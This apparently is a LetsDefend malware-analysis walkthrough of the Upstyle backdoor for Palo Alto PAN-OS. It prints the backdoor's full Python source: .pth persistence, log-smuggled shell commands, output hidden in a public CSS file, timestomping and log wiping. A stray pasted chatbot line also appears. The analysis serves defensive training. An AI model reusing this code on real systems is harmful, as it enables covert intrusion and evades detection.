Back to Walkthroughs
Upstyle Backdoor
Let's Defend Malware Analysis [Easy]Easy

Upstyle Backdoor

#tutorial

Challenge Description

image

Solution and Analysis

First extract the .py file from the password protected archive. Open it in a text editor like notepad++ you will get the following code

import os,base64,time
systempth = "/usr/lib/python3.6/site-packages/system.pth"
with open(systempth,'wb') as f:
    f.write(b'''import base64;exec(base64.b64decode(b"
def check():
    import os,subprocess,time,sys
    def start_process():
        import base64
        functioncode = b"def __main():
    import threading,time,os,re,base64
    def restore(css_path,content,atime,mtime):
        import os,time
        time.sleep(15)
        with open(css_path,'w') as f:
            f.write(content)
        os.utime(css_path,(atime,mtime))    
    def __is_whole_hour():
        from datetime import datetime
        current_time = datetime.now().time()
        return current_time.minute != 0 and current_time.second == 0
    css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css'
    content = open(css_path).read()
    atime=os.path.getatime(css_path)
    mtime=os.path.getmtime(css_path)

    while True:
        try:
            SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]'
            lines = []
            WRITE_FLAG = False
            for line in open("/var/log/pan/sslvpn_ngx_error.log",errors="ignore").readlines():
                rst = re.search(SHELL_PATTERN,line)
                if rst:
                    WRITE_FLAG = True
                    cmd = base64.b64decode(rst.group(1)).decode()
                    try:
                        output = os.popen(cmd).read()
                        with open(css_path,"a") as f:
                            f.write("/*"+output+"*/")
                    except Exception as e:
                        pass
                    continue
                lines.append(line)
            if WRITE_FLAG:
                atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log")
                mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log")

                with open("/var/log/pan/sslvpn_ngx_error.log","w") as f:
                    f.writelines(lines)
                os.utime("/var/log/pan/sslvpn_ngx_error.log",(atime,mtime))
                import threading
                threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start()
        except:
            pass
        time.sleep(2)
import threading,time
threading.Thread(target=__main).start()

"
        exec(base64.b64decode(functioncode))        

    if b"/usr/local/bin/monitor mp" in open("/proc/self/cmdline","rb").read().replace(b"\x00",b" ") :
        try:
            start_process()
        except KeyboardInterrupt as e:
            print(e)
        except Exception as e:
            print(e)
        return True
    else:
        return False 


def protect():
    import os,signal
    systempth = "/usr/lib/python3.6/site-packages/system.pth"
    content = open(systempth).read()
    # os.unlink(__file__)
    def stop(sig,frame):
        if not os.path.exists(systempth):
            with open(systempth,"w") as f:
                f.write(content)

    signal.signal(signal.SIGTERM,stop)


protect()
check()

=="))''')
atime=os.path.getatime(os.__file__)
mtime=os.path.getmtime(os.__file__)
os.utime(systempth,(atime,mtime))
os.unlink(__file__)
import glob
os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*")[0])

Of course. Here is the updated analysis based on your correction.

General Explanation of the Script's Purpose

This script is a sophisticated backdoor designed to establish persistent, stealthy access to a Palo Alto Networks (PAN-OS) device. Its primary goal is to create a hidden command and control (C2) channel.

Here is the high-level attack flow:

  1. Installation & Persistence: The script first creates a file at /usr/lib/python3.6/site-packages/system.pth. In Python, .pth files are automatically processed when the interpreter starts, allowing the code within them to be executed. This is the core persistence mechanism.
  2. Evasion & Anti-Forensics: It uses "timestomping" by setting the modification and access times of the malicious .pth file to match a legitimate system file (os.py), making it harder to spot during forensic analysis. It also deletes its own source file to cover its tracks.
  3. Targeted Execution: The check() function is called. This function first verifies that it is running within a specific, legitimate Palo Alto Networks process (/usr/local/bin/monitor mp). This is a targeting mechanism to ensure the backdoor only activates in the intended environment.
  4. Covert Command Channel: If the process check is successful, check() triggers the start_process() function. This function decodes and executes the main payload, which starts the __main() function in a new thread. This __main() function continuously monitors the Nginx SSLVPN error log (/var/log/pan/sslvpn_ngx_error.log) for specially crafted commands. Attackers send commands hidden within a specific pattern (img[...]) designed to be written to this log file.
  5. Execution & Exfiltration: When the script finds the pattern, it decodes the Base64 command and executes it. The output of the command is appended as a comment (/*output*/) to a publicly accessible CSS file (bootstrap.min.css). This allows the attacker to retrieve command results by simply browsing to that file.
  6. Cleanup & Self-Preservation: After execution, the script cleans the command from the log file. It also calls the restore() function, which waits 15 seconds before reverting the CSS file to its original state, erasing the output. A separate protect() function ensures that if an admin tries to terminate the script's process, it will rewrite its persistence file (system.pth) before shutting down.

Challenge Questions

1. What function is responsible for monitoring a log file for embedded commands and executing them, while also restoring the file to its original state?

The check() function is responsible for initiating the entire monitoring and execution process. It acts as a gatekeeper, first verifying it's running inside a specific PAN-OS process. If the check passes, it calls start_process(), which decodes and executes the main payload. This payload contains the __main() function (which performs the actual log monitoring loop) and the restore() helper function (which cleans up the CSS file). Therefore, check() is the top-level function that orchestrates this entire chain of events.

2. What is the system path that is used by the threat actor?

The system path used for persistence is: /usr/lib/python3.6/site-packages/system.pth. This path is critical because files with a .pth extension in Python's site-packages directory are automatically executed when the Python interpreter starts.

3. What is the CSS path used by the script?

The CSS path used for exfiltrating command output is: /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css.

4. Where does the script attempt to remove certain license files from?

The script attempts to remove license files from the /opt/pancfg/mgmt/licenses/ directory, specifically targeting files that match the pattern PA_VM* using the line os.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM*")[0]).

5. What specific signal does the protection function respond to?

The protect() function responds to the SIGTERM signal. This is a standard signal used to request a process's termination, which the script intercepts to perform a self-preservation action.

6. What function is responsible for protecting the script itself?

The protect() function is responsible for the script's self-preservation. It sets up a signal handler that ensures if the process receives a SIGTERM signal, it will rewrite the persistence file (system.pth) before terminating.

7. What type of pattern does the script search for within the log file?

The script searches for a regular expression pattern defined as SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]'. This pattern looks for the literal string img[ followed by a Base64-encoded command, and ending with a literal ].

8. Which specific log file does the script read from?

The script reads commands from the PAN-OS SSLVPN Nginx error log file located at: /var/log/pan/sslvpn_ngx_error.log.